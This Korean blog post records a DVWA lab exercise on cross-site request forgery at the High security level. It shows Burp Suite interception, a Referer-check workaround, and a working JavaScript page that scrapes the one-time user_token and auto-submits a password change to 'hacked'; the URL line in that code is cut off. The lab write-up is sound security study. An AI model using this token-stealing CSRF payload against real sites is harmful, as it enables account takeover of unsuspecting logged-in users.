CSRF란?
CSRF(Cross-Site Request Forgery)는 인증된 사용자가 의도치 않게 공격자가 만든 요청을 실행하게 만들어, 사용자의 권한으로 악의적인 행위를 수행하도록 유도하는 공격 기법이다.
오늘 해볼 실습의 흐름도
1. 사용자가 A 사이트에 로그인하여 세션 쿠키가 브라우저에 저장됨
2. 공격자가 만든 비밀번호 변경 요청 스크립트가 포함된 웹페이지로 사용자를 유도함
3. 사용자가 해당 페이지에 접속하면, 브라우저는 세션 쿠키를 포함해 A 사이트에 비밀번호 변경 요청을 자동 전송함
4. A 사이트는 이를 정상 사용자 요청으로 오인하고, 공격자가 지정한 비밀번호로 변경 처리함
DVWA 로그인
DVWA Security로 들어가 Security Level을 High로 설정한다.
Burp suite 실행
*혹시 burpsuite가 설치되어있는지 확인하고 싶다면 which burpsuite를 통해 burpsuite 경로를 확인해볼 수 있다.
CSRF 비밀번호 변경 페이지에서 변경 시도 후 변경 성공 시 Password Changed. 라는 문구가 출력되는 것을 확인할 수 있다.
Burp Suite를 통해 request 요청을 가로채어 확인한 결과
비밀번호 변경 시 password_new, password_conf, Change, user_token 파라미터에 값이 포함되어 전송되는 것을 확인
비밀번호 변경을 요청할 페이지를 직접 작성한다.
Apache2 웹 서버를 이용하여 해당 페이지를 서비스할 예정
아래 명령어를 통해 /var/www/html/ 경로에 HTML 파일을 생성한다.
vi /var/www/html/index_f.html
사진에는 나와 있지 않지만,
<form action="http://로컬/DVWA/vulnerabilities/csrf" methoad="POST"> 맨윗줄 추가
페이지 생성 후
DVWA에 로그인 된 상태에서 localhost/index_f.html 접속
- 예상 시나리오
제작된 공격자 페이지의 Click me! 버튼 클릭 -> 비밀번호가 password 로 변경됨.
하지만, 예상과 다르게 Click me!를 클릭하였음에도 비밀번호가 변경되지 않음.
* 이 과정에서 발생할 수 있는 에러 (open browser가 아닌 proxy 설정을 통해 실습중인 경우)
intercept가 되지 않는 경우
Firefox는 기본 설정상 localhost, 127.0.0.1 주소에 대해 프록시를 사용하지 않는다.
따라서 Burp Suite에서 요청을 가로채기 위해서는 /etc/hosts에 도메인을 등록하고 해당 도메인으로 접근하거나,
브라우저 설정에서 로컬 주소 프록시 예외를 제거해야 한다.
해결방법 (선택지)
1) firefox -> Settings -> Network Settings -> No Network for -> localhost,127.0.0.1이 있는 경우 제거 or 주석 처리
2) /etc/hosts 파일에 127.0.0.1 주소를 example.com 과 같은 도메인과 매핑
Burp Suite의 Comparer 기능을 활용하여,
정상적인 비밀번호 변경 요청과 공격자가 작성한 조작 요청(Click me! 클릭 시 발생)을 비교하였다.
비교 결과, 두 요청 간에 Referer 헤더 값의 차이가 있는 것을 확인하였다.
*Referer이란?
Referer는 웹 브라우저가 요청을 보낼 때 함께 전송하는 헤더로,
현재 요청을 발생시킨 출처(URL)를 서버에 전달하기 위해 사용된다.
일부 웹 애플리케이션은 CSRF 방어를 위해
Referer 값이 신뢰된 페이지(origin)로부터 왔는지 검사하는 방식을 사용한다.
Referer를 동일하게 만들기 위해,
공격자 페이지(index_f.html)를 DVWA 내부의 취약 경로와 동일하게 보이도록 위치시켰다.
cp index_f.html /var/www/html/DVWA/vulnerabilities/csrf/
이후 다시 시도했음에도 변경되지 않았다.
원인을 찾기위해 정상 요청에서 추출한 user_token 값을 조작 요청에 그대로 붙여 넣었지만,
비밀번호 변경이 되지않는 것을 확인하였다.
-> user_token이 요청마다 매번 새로 생성되는 일회용 토큰이라는 것을 확인
따라서 공격 시점에 유효한 토큰을 동적으로 획득해 사용하는 방식으로 접근하는 것으로 변경
코드 수정
<!DOCTYPE html>
<html>
<head>
<title>CSRF Token Auto Exploit</title>
</head>
<body>
<h2>Welcome My FakePage!</h2>
<script>
fetch("http:// 로컬 or 도메인 /DVWA/vulnerabilities/csrf/")
.then(res => res.text())
.then(html => {
const token = html.match(/name='user_token' value='(.*?)'/)[1];
console.log("Extracted token:", token);
const target = `http://로컬 or 도메인/DVWA/vulnerabilities/csrf/?password_new=hacked>
const img = new Image();
img.src = target;
document.body.appendChild(img);
});
</script>
</body>
</html>
코드 수정 후 다시 시도
const token = html.match(/name='user_token' value='(.*?)'/)[1];
console.log("Extracted token:", token);
const target = `http://로컬 or 도메인/DVWA/vulnerabilities/csrf/?password_new=hacked>
const img = new Image();
img.src = target;
document.body.appendChild(img);
- 해당 페이지에 접속하는 즉시 DVWA로부터 user_token을 동적으로 추출하고, 해당 토큰을 포함하여 비밀번호 변경 요청을 자동으로 전송
- 공격용 페이지에 접속한 후, DVWA 로그인 페이지로 이동하여
변경한 비밀번호(hacked)로 로그인 시도
- 비밀번호가 성공적으로 변경된 것을 확인하였다
'보안 실습' 카테고리의 다른 글
| [실습 기록] SSLH 실습 (0) | 2025.03.29 |
|---|---|
| [문제 풀이] Dreamhack CSRF-2 (0) | 2024.09.09 |
| [문제 풀이] Dreamhack CSRF-1 (0) | 2024.09.09 |
| [문제 풀이] Dreamhack XSS-2 (0) | 2024.09.05 |
| [문제 풀이] Dreamhack XSS-1 (0) | 2024.09.05 |